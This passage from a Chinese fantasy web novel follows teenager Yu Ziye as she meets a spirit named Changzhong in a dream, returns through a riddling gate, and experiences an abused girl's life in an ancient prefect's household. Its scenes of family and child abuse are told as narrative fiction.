昨天听到父亲说担心“前夫找麻烦”,估计叶阿姨对父亲也是有所隐瞒,父亲大概还以为她和儿子此前一直与前夫生活在一起。 于子夜往下翻评论区,有同情帖主DEBUFF叠满的,有荡/妇羞辱帖主母亲说做小三活该的,有说帖主母亲估计是夜/场出身专门傍大哥的,有劝母亲自力更生去找工作的,有劝帖主别念书了尽早出去打工经济独立的…… 评论很多,于子夜一直翻到底,帖主只点赞回复了其中一条。那条回复说可以求助当地妇联,但如果实在没办法解决母亲的问题,先以保护好自己为前提,联系当地的未成年人救助保护中心等等。 帖主回复说:谢谢,我自己其实无所谓,主要是希望能保护妈妈。 底下又是谩骂和嘲讽,说如果真的想保护妈妈,就教她做人,别当小三破坏别人家庭;让她自己去工作,别当依靠男人的菟丝花,等等等等。 于子夜按熄了屏幕。 她想起来在六和塔下看见戴天航的时候,他脸上也有瘀伤,却语焉不详说是什么被怪物揍的,想来真实原因应该和这帖子里写的差不多。 但那个她“过去已经遇到的戴天航”,在钱塘也遭遇了家暴吗?那时的他既然已经转学来了钱塘,施暴者又是谁呢? 她又摇了摇头,六和塔和怪物是梦里的事情,怎么能当真呢? 然而,如果那只 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客厅里只有叶阿姨一个人,她看着面色惨白、瘫软在楼梯上的于子夜,连忙放下水杯走过来。 “楼、楼上……我房间窗外有……有人。” ……有鬼。 “窗外有人?”叶阿姨显然也被吓到了:“……是南边的窗户吗?” 于子夜颤抖着点了点头。叶阿姨的神情却放松下来:“小夜,你是不是看错了?你爸爸在南边的花园里打电话呢。走,阿姨陪你去看看。” 拉开客厅通往院子的门,父亲的确在院子里一边抽烟一边打电话。于子夜缩在叶阿姨身后,露出半张脸往三楼的窗户看去。 没有人,只有院子边的高树摇晃着枝条。 “这下放心了吧?”叶阿姨揉了揉她的脑袋:“刚才应该是树的影子。你要是实在害怕的话,就把窗帘拉上,今晚开着门睡,阿姨去三楼睡客房陪你,好吗?” 于子夜点了点头。她是真的怕,刚才确确实实看到一个完整的人浮在空中,戴着兜帽,头发飘起,明显和树影不一样。 窗帘很遮光,拉上之后,房间内一片黑暗。叶阿姨把走廊的灯都打开了,有她在三楼隔壁的客房陪着,于子夜辗转反侧半晌,到底是提心吊胆地睡着了。 她睡得不踏实,梦到自己回到了倒插的六和塔边,梦到那口大钟,梦到破败的塔基。但周围一个人都没有。 镇海铁牛和盐官的城墙笼在前方一片灰雾中。她继续向前走,脚下突然碎石震落。 于子夜猛然刹住脚步。 面前是一道巨大的地裂。 是那个叫“敲雪”的短发女子用法术操控她的双臂撑开的地裂。 于子夜小心探出头往地缝下方看去,她逃离噩梦时丢掉的几块小山似的巨石,还严严实实卡在地裂两侧的崖壁之间。 额头上突然传来冰凉的触感。 于子夜抬头,一片雪花落在她的睫毛上,又一片停在她的鼻尖。 ……下雪了? 于子夜此刻清晰地知道自己身在梦中,大概是夜里冷,今天睡觉忘了开地暖,才会做这种梦。 可她环顾四周,只有她头顶和身后一道长条形的区域在落雪,其他地方仍是一片死寂黑暗。 雪越落越大,在断垣残壁的夜色中积出一条洁白的雪道。于子夜转过身,顺着那条雪路往开化寺的方向走去,隐约见那口大钟边站着个人影。 于子夜脚步一刹。 那分明就是睡前出现在窗外的鬼影!! 她转身就跑。 “小朋友,别怕,我不是坏人。” 身后传来一个温和的嗓音,像玉融成暖水,汩汩地流进耳朵。 于子夜警惕地站住,没回头:“拐卖儿童宣传片里的拐子都是这句开场白。” 那人愣了愣,也没走近:“是这样啊。抱歉。” 要命。他听起来居然真的很抱歉。 于子夜蜷着上身,攥紧双手碎碎念道:“醒来醒来醒来快醒来……” 那人看她背影,还以为她在发抖,又说:“小朋友,之前贸然出现在你窗前,吓到你了,是我考虑不周,实在抱歉。” 这鬼还挺有礼貌的,一直道歉。想必是先礼后兵,马上不知道要放什么大招,还是赶紧想办法醒来! 于子夜猛掐了自己的大腿一下,果然不疼!用力捏住鼻子屏住呼吸,对,就是这样!眼皮马上就要睁开了,已经感觉到被子裹在身上的触感了! 突然,飘落在地的雪花绦带般腾起,把她柔柔卷回了梦中的雪地。 于子夜怒目瞪着那人。 那人走近了些,吓得她想往后急退几步,双脚却反而被地上的落雪推着,轻轻往前铲。 “别往后退了,你会掉进裂谷里的。”那人柔声劝道。 这次,于子夜借着雪色的反光,看清了那人的面容。 个子挺高,五官清隽端正,鼻梁直挺。清秀,算不上顶好看,但眉眼间有一种超然脱尘的气度,于子夜说不上来,只觉得,呃,长成这样的应该不是恶鬼。 “多谢,我的确不是恶鬼。”那人微笑颔首。 靠…… 什么鬼梦境!! 怎么所有人都能读她的心啊!!! 9. 复碎叶稚子明去就 借珀胆神君指迷津 眉清目秀的拐子自我介绍道:“我叫长钟,是风露版图的语者,此次……” “你也是要我来拯救‘钱塘’的?”于子夜抢先一步:“自我介绍和名词解释就免了,我已经听过一遍了。” 长钟一愣,随即展颜道:“也对,我多此一举了。你身上有敲雪一半的魂芥……嗯?还被她用‘三尺水’捆过。” 原来这人和那蛮不讲理的短发女子认识。那估计都不是好鸟。 于子夜忖道,果然拐卖儿童都是团体作案,却见那人用一种文艺片人脸大特写才会用的复杂表情望着自己,轻声道:“我不知她是如何先我一步找到你的,但……她还好?” “啊?……好。”于子夜心想,好啊,好得山崩地裂的。 长钟听了,表情宽慰许多:“那便好。小友,你眼下有两条路,请尽快抉择。” 于子夜心想这人似乎能处,比那个女的好多了,至少这次她还有得选。 长钟说:“其一,我助你重回‘彼钱塘’,你立刻将敲雪的魂芥还给她;其二,我杀了你,用敲雪的魂芥回‘彼钱塘’,再替你将魂芥还给她。” 于子夜:…… 长钟露出为难且抱歉的神情,诚恳劝道:“我还是建议选第一种。” 长钟这么说的原因于子夜当然想不到。长钟“生前”与敲雪误会颇多,到“死”亦未来得及见面解释。她应该不想再见到祂。 谁料于子夜说:“那你杀了我吧。” 在梦里毁了什么“扶桑叶”上的“魂芥”就能回到现实,上次她不就是这么出来的? 水恒尊漫长的生命中从未遇到过这么爽快引颈就戮的人类。长钟并指盈盈行了一揖:“小神尊大义,我下手会利落些的。只是,容我一问,人性贪生怕死,你并非出生于风露版图,何故舍生取义?” 于子夜道:“我本来就没那么想活。而且,这是在梦里,死了又没关系。” “小神尊此言差矣。我虽然此刻在你梦境之中,但语者杀人是取其魂芥而非肉身性命,即便在梦中,只要此人能思能想、神识正常,便能被取走魂芥。若我杀了你,你还能呼吸,却是永远醒不过来的——风露版图称这种状态为‘缄默’。” 是……会变成植物人的意思? 那好像确实比直接死掉惨不少。 “我凭什么信你?”于子夜问。 “观音还活着,”长钟从羽绒服口袋里掏出一只奄奄一息的守宫:“但是快死了。” 于子夜顿时害怕也忘了,小跑上前查看。 守宫缩成一小团盘在长钟的手心,比几天前瘦了一大圈,那条美丽的肥尾巴不翼而飞,留下一个丑陋的、血痂凝固的断口。 于子夜小心翼翼地从长钟手中接过守宫,用拇指轻轻蹭了蹭她眼球凹陷的小脑袋,守宫发着抖,双眼紧闭,蜷得更紧了。 “怎么救她?!”她焦急地抬头。 “她受了重伤,魂芥衰竭,要救她,只能送她去语芥充沛干净的语境中。” 于子夜回想起那个黑黢黢的钱塘:“可是听你同伙的说法,这两个钱塘都不满足‘语芥充沛干净’。” “正是。所以需要送她回风露版图。” “你们那个可以孕育和回收大中小芥球的母世界?”于子夜皱着眉:“……可是你的同伙不是叛出了风露版图,正在被那个世界派兵追杀吗?” 长钟一愣:“……叛出?” 于子夜看着对方深深吸气,又缓缓吐出,像在缓释千钧之重,又像是在向天认命。她从未在一个人脸上见过如此无奈又悲伤的表情。 于子夜道:“喂,我不知道你什么事这么难过,但是如果观音死在我面前,我真的会难过一辈子。” 真是年幼的人类才会使用的、和赌咒一样决绝的说话方式,让长钟想起了另一个人类小时候。 他不免羡慕地看着于子夜。 如果世间万物的一辈子都只有人类这么短的话,是不是也会和他们一样,如此煞有介事地言说生死;又是不是和他们一样,只要承受寥寥几次永别,就可以无忧无虑地归于“缄默”了? “小神尊真是个有趣的人。你连自己的生死都能置之度外,却要为一条守宫的死难过一辈子?” 于子夜哼了一声:“你懂什么!还有,别再一口一个小神尊叫我了,我就是个普通人。” 长钟点头:“好。既然暂时回不了风露版图,想救观音的话,也得让她尽快在其他水语者的语境中暂时将就一下。小朋友,敲雪……她身边还有旁人吗?” “人是没有,冒鬼火的黑木头倒是有一块。对了,还有我朋友,他……”于子夜想了想:“算了,当我没说。” “你的朋友?”长钟蹙眉:“但说无妨。” “他……我也不知怎么回事,他和我在同一个梦里,在那个‘此钱塘’被精卫抓走了。但是我回到现实中,大家都说不认识这个人。现在的他在另一座城市,马上还会成为我的继弟,但是这和原先……和我之前认识他的过程一点都不一样!” 于子夜觉得自己听起来像在胡言乱语。 谁料长钟却点头道:“彼此两个钱塘贯通后,两个芥球的语芥已经开始纠缠,现实中发生这种混乱很正常。你是这个中千芥的新神,带着‘此钱塘’混沌的语芥回去,自然会扰动‘彼钱塘’。” 于子夜一头雾水。 “我听不懂你在说什么。我只是想知道,我认识的那个朋友,是不是只有一个,是……被困在‘此钱塘’的那个,还是……现在即将成为我继弟的这个?” “你自己的心里不是已经有答案了吗?”长钟说:“就像观音也只有一个一样。” “可我现在生活的世界还是原来的钱塘啊,只是现实发生了一些……一些变化而已。在同一个世界里,怎么可能会出现两种现实呢?” 她明明还留着那个戴天航送给她的文件夹和宣传单。 长钟认真地望着她:“那你是更喜欢现在的现实,还是原来的现实?” 于子夜沉默了。 长钟轻叹一声,摇了摇头,熟稔地换了种说法:“……更讨厌原来的,还是更讨厌现在的?” “都挺讨厌的。”她说。 原来很孤独,被同学孤立、被老师排挤,但是在学校有祁潇骁,可以有一方被尊重的空间可以做最小单元的自己,回家后伯父伯母虽然吝啬狭隘却不会干预她的生活和未来;现在更孤独,还莫名其妙多了个继母和继弟,但似乎只要她听父亲的安排从此当个乖女儿,就可以在学校过得更舒服、还有一个上了保险的接手家族企业的未来,甚至只要她听话地捱到出国,就能去找妈妈。 虽然心有不安,也讨厌被控制,但她已从父亲那里尝到了毫不费力就被人尊重的小小甜头,可以想见,未来会有更大的奖励。 只要一直听话。只要一直服从。 这对她来说并不难。于子夜想。因为她就是这么窝囊。 长钟叹了口气:“敲雪或许还没来得及告诉你……她做事向来不爱解释。唤醒一个芥球中的新神——也就是你,是一条有去无回的不归路。 “就像往一池静水中投入一粒石子一样,无论动作多轻、石子多小,都会泛起波纹;无论是中千芥还是小千芥,语芥一旦被扰动,整个语境都会发生‘积羽沉舟、群轻折轴’的连锁反应。 “也就是说,变化无论好坏,都会像池中涟漪一样越晕越大,直至在水池边缘拍岸的时掀起惊涛骇浪。 “所以,你作为这个中千芥的新神,你的判断至关重要——你觉得,一切究竟是在变得更好,还是变得更坏?” 于子夜也不知道。 她只是个整天被困在自己小小的不忿、孤独、妥协和侥幸里的高中生,她又怎么会知道呢? “我还是那个问题,这到底跟我有什么关系?”她顾左右而言他地问。 “我本想说,你连自己的生死都不在乎,我似乎也很难相信你是一个会关心芥球存亡与未来的神明。若对自己的生命都不敢负起责任,又怎能对一整个中千芥的生命负责任?可是,我眼中看见的你,又并非这样的人。” 于子夜当然不会知道,此刻在长钟的“众生眼”中,自己是何种模样。 她当即反驳道:“少给我上价值。我就是这样的人,我就是连自己都懒得负责任,随便活一活就成的弱鸡。” 长钟在心里叹了口气。又是这种一棒子锤死自己的、下定义的判断句。 “小朋友,我的确不知你为何已经进入‘此钱塘’,却又从那儿回来了,但我需要告诉你,即便是一只蚍蜉在搬运食物时选择换一条路走,也会扰动语芥,更何况你是这个中千芥的神。无论你之前做了什么,都已经剧烈扰动了两个芥球的语芥,使得中千芥的现实发生了与你行为相应的改变。 “你如果选择留在这里,就会永远在这个被改变了的现实里走下去,直到不久后,整个‘彼钱塘’被风露版图回收的那天,你会和这个世界一起粉身碎骨。 “但是,如果你选择和我们一起想办法,也许能让‘彼钱塘’逃脱被回收的命运,也许……会和这个世界一起提前粉身碎骨。 “所以,你是要在眼前的现实中走下去,还是要去一个前途未卜的未来呢?”长钟问。 于子夜不吭声了。 这一大长串她其实听得云里雾里。但她从未想过,那个怪梦竟会对现实产生影响。 可自从她从“此钱塘”丢下巨石撕毁扶桑叶逃跑之后,现实生活中的一切确实发生了断崖式的改变。 老实说,她依然觉得这套“拯救钱塘”的说辞并和传销话术或者跑团剧情没什么区别,她对此不感兴趣,更听不懂长钟说的什么扰动和相应的改变。 她只清楚两件事。 第一,她不希望生活在一个没有祁潇骁的学校,不希望戴天航从未出现过,不希望自己因为父亲的打点成了曹玫重点关注的学生,不希望戴天航的妈妈莫名其妙和父亲变成这种关系。 第二,她希望观音能活下去,也希望自己曾经遇到的那个戴天航能活下去。 于子夜说:“我不知道。我只是想回去救观音,还有我朋友。” 长钟负手微笑着,显得并不意外:“我知道你会这么选。” “别误会,这不代表我愿意做什么神尊救世主的,我只是不想身上莫名其妙背上两条命。” “嗯。” “那我应该怎么把观音送回去——送回那个‘此钱塘’?” “自然是怎么来的,就怎么回去。”长钟说。 于子夜垂下眼眸,指甲用力掐着掌心,半晌才下了决心,闭上眼狠狠地道:“……我是逃跑的。” 长钟没有说话。 于子夜睁开双眼,一咬牙,大声说:“我是从‘此钱塘’逃跑的!我把那个敲雪给我的扶桑叶撕碎了,撕成两半,丢下石头,丢下他们所有人逃跑了!精卫还有很多天兵天将在攻击他们……” 说着,她哭了起来:“我眼睁睁看着精卫把戴天航抓走了!他们让我举着一块巨大的石头,可我一个人待在结界里,我真的很害怕,我就……呜,我就骗观音解开禁制,利用敲雪覆在叶子上的魂芥,丢下所有人跑了……呜呜呜……” “你什么都不知道,这能不怪你——你刚才不是也说了吗?当时还以为是在做梦。” 长钟的“一寸天”化作一张水帕,展开水汪汪的圆钝四角,扒在于子夜脸上,于子夜掉一滴眼泪,水帕边缘便果冻似地延展开,把那泪珠吞并掉。 于子夜抽噎着,语不成句:“可是、如果,戴天航和、观音都……只有一个,如果……如果他们因为我逃跑而死了……我……呜呜呜……” 一种隐隐绰绰的恐惧浮上心头:如果现实也会因为她在“此钱塘”的举动而改变,那么这个现实中祁潇骁、叶阿姨、戴天航的遭遇,是不是也和她的逃跑密不可分呢? 于子夜突然深深地害怕起来。 平时,她总是尽可能避免矛盾、绕开冲突,能忍则忍,能妥协则妥协。因为这样就不会伤害到任何人,除了她自己。 但是如果因为自己的怯懦而导致他人的不幸,她真的会愧疚而死。 一只温暖的手突然覆盖在她的头顶。 于子夜抬起头,长钟的拇指拂过她哭得红肿的下眼睑,揩掉了一滴欲掉的泪珠。 “小朋友,怎么来的,就怎么回去,”他温柔地说:“如果是跑来的,就跑回去呀。” 于子夜愣住了。 长钟转身,望着那条巨大的地裂:“……是从那里吗?” 于子夜用衣袖蹭干眼泪,点了点头。 “你做好决定了?”长钟 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什么叫她的世界?于子夜觉得满头雾水都要凝华了。而且,什么叫只有敲雪知道,你不也知道吗?她在心里腹诽。 “……这些以后再和你说,好吗?” 于子夜只好点头。 “这扶桑叶上是敲雪的魂芥。你虽然是这个中千芥的新神,但因是提前被唤醒,魂芥尚且羸弱,所以这个中千芥球内的语芥都不认识你;也因此,你借助敲雪的力量从‘此钱塘’强行穿回到‘彼钱塘’时,语境识别到的都是敲雪的魂芥。” “你是说,语境认为,是她,而不是我,穿破了这两个芥球?” “你很聪明,理解得很快。”长钟不吝夸赞。 “什么是魂芥?”于子夜问。 “你可以认为既是一种身份标识、也是乘装修为的基底和容器。语者天生的魂芥就像心脏一样重要、独特。即便是同系语者,魂芥也会有区别。在成长修炼的过程中,语者吸纳外部的语芥,作为修为存入体内,转化新的魂芥,但天生的那部分魂芥像一个容器的底部,天然有自己的形状、质地、硬度,无法改变。” “容器能有多高、能装多少、最后成为什么形状,会随着年龄和修炼,从容器的基底往上生长,所以,魂芥又包含语者每一段生长过程的记忆和信息。敲雪给你的扶桑叶上覆的是她小时候的魂芥,也就是她生命最初阶段的魂芥。” “你的意思是……” “没错。她把自己生来就有的,最源本、最初的语芥借给你使用。” 于子夜怔住了。 这世界上没有无条件的信任和选择,她深信不疑。 如果这几天经历的种种不是梦,那么这种信任背后的条件是什么?期待又是什么?于子夜已经开始设想,这些人在她身上加注了这么多期待,需要多久便会对她彻底失望。 但那些都不重要,等她把戴天航和观音救回来,这一切就彻底结束了。 长钟将她的神情变化尽收眼底:“你不用感到愧疚,也不用有压力,敲雪这么做,应该只是觉得,你现在与当时的她年龄相仿,她年少时生长的魂芥你用起来会更好上手而已。” “你为什么要和我讲这些?” “额……”长钟看上去三分为难,三分尴尬:“……因为你撕破扶桑叶的时候,将这容器的底部打破了。” 好吧。原来加注的不是期待,是讨债。 长钟接着说:“我不知魂芥破损的部分是什么,但一定和敲雪的儿时有关。但若想要重新启用扶桑叶,需要她完整的魂芥。也就是说,你需要找到在你回来的路程中散逸掉的魂芥片段,修补好扶桑叶,才能用它回到‘此钱塘’。” “为什么?” 于子夜想起自己撕碎扶桑叶时山崩地裂的场景,觉得就算有魂芥散逸掉也碎成渣子了,哪里还有找回来的可能? “敲雪自己或许不在乎这点丢掉的魂芥,但你骗不过此钱塘的守境人。”长钟说。 守境人? “一切有生芥球,无论是大千芥中千芥还是小千芥,都有自己的守境人,守护出入芥球语境的大门。此钱塘既是敲雪的世界,语境也自然有敲雪安排的守境人。” “可是此钱塘不是根本没有语境么?又怎么会有守护语境的守境人?”于子夜敏锐地提出质疑。 长钟的神色中浮起一丝困惑:“她是这么和你说的?” “不仅是她,她身边的其他人——额,其他生物,也是这么说的。”于子夜将丹木和观音在此钱塘时连声抱怨那个小千芥没有语境的情状讲与长钟听。 “而且,似乎正是因为没有语境,那个敲雪还想要自己造出一个新的芥球,割下一部分此钱塘带走。”她补充道。 长钟神色一滞,若有所思道:“竟是这样么……可我明明感知到此钱塘还有守境人的存在,怎会没有语境?” 他又摇摇头:“先不管这个。你走时是用蛮力破开,回时却必须走正途,定会与守境人打照面。你只记住一点,无论发生什么,你都务必咬定自己就是澹台敲雪。” “为何回时要走正途?既然走时是用蛮力,那干嘛不直接用蛮力破回去呢?”于子夜问。 长钟露出十分歉疚的表情:“抱歉,我困于此地已久,魂芥衰竭,语力和语芥都不足以那样送你回去……而且,你破进‘彼钱塘’的过程中,已经损耗掉这扶桑叶上不少魂芥了。” 意思是,这片扶桑叶上敲雪的魂芥已经被她严重破坏了。 想到自己幼稚的行为白白浪费了别人辛苦修炼的结果,于子夜一阵内疚。 “那你呢?”她问:“我这样回去,你怎么办?” 长钟道:“你看顾好观音,我的身体……或许无法承载穿越语境的风险,也要拜托你看顾了。” 他把修复好的完整的叶片插进于子夜双指间,叶脉处有三处明显的残损,像被虫子啮出的洞。 两人指尖相触的瞬间,一汪金辉涌出,瞬间包拢住长钟的身体。 于子夜眯起眼,再次睁开时,长钟已经不见了。 她缓缓摊开手掌。 一块澄黄的琥珀石,静静躺在她掌心。 10. 承谜题幻境遭险阻 入旧躯孽海见荒唐 扶桑叶晕着淡金色的辉光,于子夜拈着叶梗举起,像一叶小小的风灯。 如果词与词之间有亲疏的脐带,“风灯”与“历险”一定血脉相系。于子夜站在这隐喻的大门口,只听见自己心跳隆隆。 我不是去历险的,更不是去逞英雄的,只是把该救的人救回来。 于子夜反复自我暗示,试图覆盖掉那令人不安的隐喻。她深吸一口气,咬了咬牙,将石头和守宫一起小心塞进口袋,再抬头,周围一切都变了。 没有盐官城墙,没有六和塔基,没有断垣残壁,没有那口大钟。没有钱塘江。 梦中‘此钱塘’的一切都消失了。 放眼四望,举目空茫,大风自干枯蛰伏的草甸深处刮过来,呜呜地,却不带兽腔。是旷野自己在呜咽。 过于空旷,以至于整片天穹都变成了“空旷”的面孔和眼睛。于子夜感到被这巨大的空旷发现了、盯住了。 墨蓝天穹下,草甸深处有橙红火光跃动。她顶着狂风,蹒跚朝火光走去。 一扇两人高的石门突兀地立在旷野上。火光来自石门左右两侧的炬火。炬火的下坐着一男一女两个老人。 想必他们就是这个小千芥的守境人了。 老头背对着于子夜,正自顾自对着石门挥舞着双臂,大发议论,似乎没有注意到身后有人。他的后颈有疤痕,一圈绕到脖颈前头,极为可怖,显然是头被砍下之后重新缝上的。 老太太站起身,盯着于子夜,喉头发出一阵咯咯的浑浊响动。 她的嘴巴翕动着,微微张开。 于子夜这才发现她没有舌头。 “前辈,我……”她大着胆子亮出扶桑叶,手心都被汗湿:“我想要回‘此钱塘’。劳烦您开一开门。” 老太太没有移开目光,直到于子夜觉得自己的灵魂都要被看穿了,她露出诡谲的笑容。 她开口时,一个苍老的声音从老头那边传过来:“你是澹台敲雪吗?” 旁边那老头的嘴巴开开合合——这没舌头的老太太竟是在用他的嘴和声带说话! “我是。”她鼓起勇气和老太太对视。 老太太突然狂笑起来,笑得于子夜浑身发毛,头皮都要被掀起来。 “咯咯咯咯,朝君啊,她说她是澹台敲雪。” 老太太对着老头那边喊,可声音是从老头口中发出来的。 “快九百年了,惠姑,敲雪小姐也该转世重新为人了,有何不可能?”那老头用同样的沙哑苍老的声音回答,只是语速比老太太说话时慢一些。 从他一人口中传出来自两人的话语,自问自答,忽快忽慢,显得极为诡异。 “转世为人?”老太太像是听到了极其荒唐的话,面孔鄙夷地皱成一团,嗤笑道:“你我落得如此下场,被困在此地永世不得解脱……你觉得‘她’会放过敲雪小姐?” 老头转向于子夜:“如果你真是澹台敲雪……你既能找到这里,一定是去找‘她’报仇的吧!请替我们出了这口恶气!” 长钟不是说,他们是被澹台敲雪安排在这里的守境人么?为什么听上去像是被谁“困在这里”? 于子夜脑子一团浆糊,也不知道两人口中的“她”究竟是谁,但还是硬着头皮点头:“好。” “慢着,”老太太忽然凑近于子夜,眯起眼睛,近得于子夜都能看清她脸上每一道沟壑:“如果你真的是澹台敲雪,一定会知道这个问题的答案——” 于子夜心里一咯噔。这是要出题考她的意思? “世间有一物,近之怯也远之勇,爱之深也悲之怯,恨不能也救不得,此物何名?” 老太太说完,又怪声笑开了:“好好回忆一下,你只有一次机会。” 于子夜忖了半天,浑身冷汗都快干了,实在想不出贴切的答案。 她破罐破摔地道:“故乡。” 老太太发出似哭似叫的凄厉怪笑。 “又是一个!哈哈哈!竟又是一个!你和‘她’一样,你不是!不是澹台敲雪……咯咯咯…… ” 她千沟万壑的面容扭作一团,周围的景物、草甸迅速倒退,抽拉成光线。 于子夜惊叫出声,整个人被巨大的吸力拽入那道门中,疾速下坠的失重感抽干了她的思绪。 重力回来的瞬间,她重重地摔倒在地。磕破的痛感从膝盖剐蹭到掌根,她却顾不及护住自己,而是第一时间捡起一本掉在地上的书,死死护在怀中。 那双手很脏,布满了冻疮,但很小。明显是双小孩子的手。 于子夜不明状况,刚想要伸手摸一摸脸,身体却猛地站起来,扑上前,一个巴掌扇到了面前人的脸上。 于子夜意识到自己没办法控制这具身体。一切的发生无关乎她的意志。她只是这具身体中旁观。 大男孩儿被打得懵了,正要哭,她又是一脚照着膝关节踹了上去。 那男孩重心不稳,一屁墩儿摔在地上,委屈劲儿瞬间爆发出来,对另外几个孩子哭吼道:“给我将这贱婢拿下!” 那男孩十四五岁光景,穿一件石青色的圆领绫袍,料子上织着细细的缠枝莲纹,腰间系着一条银色的丝绦,挂着一个绣五毒的小香囊,俨然一身小大人的体面打扮,颈上却露出一个亮闪闪的金项圈来,显然备受家中长辈疼爱。 这具身体的主人俯身蹲地,趁这当口将书踹入怀中。那几个伴读打扮的孩子只当是她怕了,趁机包围上来。 下一刻,她双手一扬,将手中抓着的沙子猛地撒出去,男孩们捂着脸哀叫着退了一片。 女孩拔腿就跑,几个家仆打扮的人赶来,团团将她围住,跪压在地。 饶是这身体不是于子夜的,她此刻也切身感到女孩被几个男人反剪手臂、脚踩背部死死制住的窒息感。 女孩儿剧烈挣扎,像落网的蟒、折翅的鹰。 有个老仆气喘吁吁跑来,忙不迭扶起坐在地上大哭的男孩,叫天叫地地嘘寒问暖起来。男孩见有大人来撑腰了,立刻气焰更凶,爬起来咋咋唬唬地说今日要女孩吃不了兜着走。 老仆瞥了一眼被跪压在地的女孩,于子夜觉得那眼神里除去明了的嫌恶,竟还隐隐有些害怕。 一个上了年纪的男人,怎么会对一个孩子露出这样的眼神? 老仆似乎不想出手,劝道:“小舍人金尊玉贵的,咱犯不上和端公之女一般见识。那种人家不干净,小底怕您沾了晦气,咱们远远躲开才是。” 端公。于子夜有印象,古时候要么是指公务人员,要么是指巫觋。听那老仆的语气,说的估计是后一种。 ……她在古代? 眼前这些人确实是古时打扮,说话也像古人,但方才女孩揣进怀里的那本厚书,看装帧,却一点都不像是古书的样子。 男孩似乎不想就此了事,猛地起身:“躲开?!凭什么要我躲他们?我爹是堂堂知府!他们算什么东西!” 老仆急得额头冒汗,伸手去拉:“小舍人,小声些、小声些……那种人沾不得……” 男孩一把推开老仆:“沾不得?我偏要沾!你——去叫人来,把她给我抓起来,带回府里去,我倒要问问她,谁给她的胆子冲撞我!” 老仆脸色大变:“使不得啊小舍人!这、这传出去……” 男孩冷笑一声,一脚把老仆踹翻在地:“传出去怎么了?我爹爹平素最恨这些端公师婆,上次钱塘府禁淫祀,抓了她娘那个疯婆子过去,在州府中关到如今,她竟还敢不老实!我今日把她一并抓回去,爹爹还得夸我——” 老仆闻言骨碌一下爬起来,死死捂住小舍人的嘴,吓得声音都变了调:“我的小祖宗!这话可不敢乱说!不敢乱说啊……” 他飞快地扫了一眼四周,见已有路人侧目,额头上冷汗直冒。 于子夜看着老仆的反应,心里已经猜得七七八八。 不知这究竟是古时哪一朝,但近千年以来,官方对巫觋的打击力度都不小;与之矛盾的是,往往官方越是严令禁止,民间越是巫风盛行,以至于村巫社觋毗居于民户之中。甚至有的朝代,从皇室宗亲到地方官员,很多人明面上谈巫色变,但私下都是巫术的信徒。 多半是这知府老爷私下也信这些,借着“禁淫祀”之名逮捕巫觋,却私下行豢养之实。 只是不知这女孩的妈妈,究竟是被强占的民女还是被豢养的女巫。 老仆强挤出笑脸,对周围拱手,声音压得极低,语速飞快:“小孩子家胡说,当不得真、当不得真!都散了吧,散了吧——没甚么好看的——” 他一边说,一边朝后面跟来的两个小厮使了个眼色,压低声音急道:“愣着做什么?把那丫头先带回府去,别让她在外头乱走!快去!” 小厮会意,赶紧上前,塞住女孩儿的嘴,黑布将头一蒙,女孩儿挣扎得太厉害,刚被扛起来就把小厮照胸口一蹬。那小厮被惹怒了,将女孩卸在地上,照着后心就是重重一脚。 “咔”一声断响,于子夜差点痛晕过去。 这下肋骨肯定是断了。 那女孩竟只是闷哼一声。 “凶?!让你凶,小表子。怎么不凶了?” 于子夜感觉喉头有血呛着,呼吸不畅,她拼命想要咳出来,但那女孩竟梗着嗓子,将满口鲜血生生咽了回去。 断痛中听到那老仆在后面压低声,赶着那男孩儿快步跟上: “小舍人,算小底求您了,刚才那些话……您可千万别在外头提了……” 再次被扛起来,女孩不挣扎了。断骨被硌在那小厮肩上,一步一颠,于子夜痛得只想昏死过去,可那身体的主人指甲用力,死死抠嵌进另一只手五指指缝中,竟用更锐的痛生生逼出一头冷汗,强行清醒着! 好硬的骨头。于子夜想,她究竟何苦这样为难自己?昏过去还省得生受这痛楚。 痛得半死之际,光线一暗,女孩被人卸在了地上。每根骨头每处血管都在发痛,女孩用尽全力她抬手,也只是摸了摸胸前抱藏的书,见书还在,她一下卸掉了力气,痛苦地咳出一口血,倒在了地上。 又过了不知多久,传来开门的响动。有人把她搬了出去。这次倒客气些了,是用担子抬的。 头上的黑布被揭开。于子夜的眼前有光线,但仍然不能视物,是那女孩的眼皮仍然阖着。 她在装昏。 听脚步的回声,空间不大,隐隐有木质家具的香气,应当是知府宅邸内的一间书房或者偏房。 “……水都见谅,那几个新来的小厮下手没轻重,已经拉出去各打了三十棍。孽障,还不快给水都赔不是!”一个男人道。 水都? 于子夜一惊——是她吐出的那块无从考证的玉印上的‘水都’?这无从考据的称谓竟真实存在? “爹?!” 是方才那男孩的声音。男人是男孩的爹,想必就是知府了。 男孩不忿道:“她一个端公家的丫头,儿子凭什么——” “啪!” 茶盏碎在地上。男孩的话被生生截断。 “跪下!”知府一字一顿:“向澹台水都赔不是!” 澹台? 长钟之前说,无论如何,都要一口咬定自己是澹台敲雪。这姓氏并不常见,这“水都”和敲雪同姓,兴许同她有关系。又兴许…… 她栖身的这个女孩就是澹台敲雪? “知府大人息怒,息怒!小孩子家打打闹闹,原不是什么大事。郎君知书达理,想必是小女先招惹是非。她皮糙肉厚,挨两下不妨事的。大人若要责罚,草民领受便是,万不敢劳动小公子——” 被称为“澹台水都”的男人语带谄媚,于子夜想到此人是那女孩的父亲,更是一阵反胃。 “水都不必替这孽障说话。”知府截住话头:“我平日都是怎么教你的?《礼记》读到哪里去了?‘不侵侮,不好狎’,你倒好,当街打人,还是打一个比你小的女孩儿,书都读到狗肚子里去了?” “我——”男孩一噎:“我不管!她打我,我就要她好看!爹不是常说,治民如治水,宜疏不宜堵吗?儿子现在就是被她堵着了,堵得难受!” 知府一时竟被这话气笑了。那“水都”连忙抢先说:“不妨事不妨事,小郎君想如何惩治她,便如何惩治她,悉听尊便!” “悉听尊便?”男孩的声音里带着一种少年人特有的残忍与天真:“当真?” 水都满脸堆笑:“是、是,能让小郎君解气便好。” 衣料的窸窣摩擦声中,眼前的光线一暗。有个人缓步走到了她身前,俯下身。 虽目不能视,于子夜能感觉到来人正目光灼灼盯着她。 “那好,我不要她磕头赔罪。”男孩一字一顿:“我要她给我当小老婆。” 此言一出,满室死寂。 于子夜的口中漫开血腥味,是女孩牙关死紧,不动声色将下唇咬破了。 男孩儿十分得意:“她不是打了我吗?我让她给我当小老婆,她就得听我的。我想怎么使唤就怎么使唤,想什么时候收拾就什么时候收拾。这叫——”他好容易搜刮出一个词来,“这叫一劳永逸!” 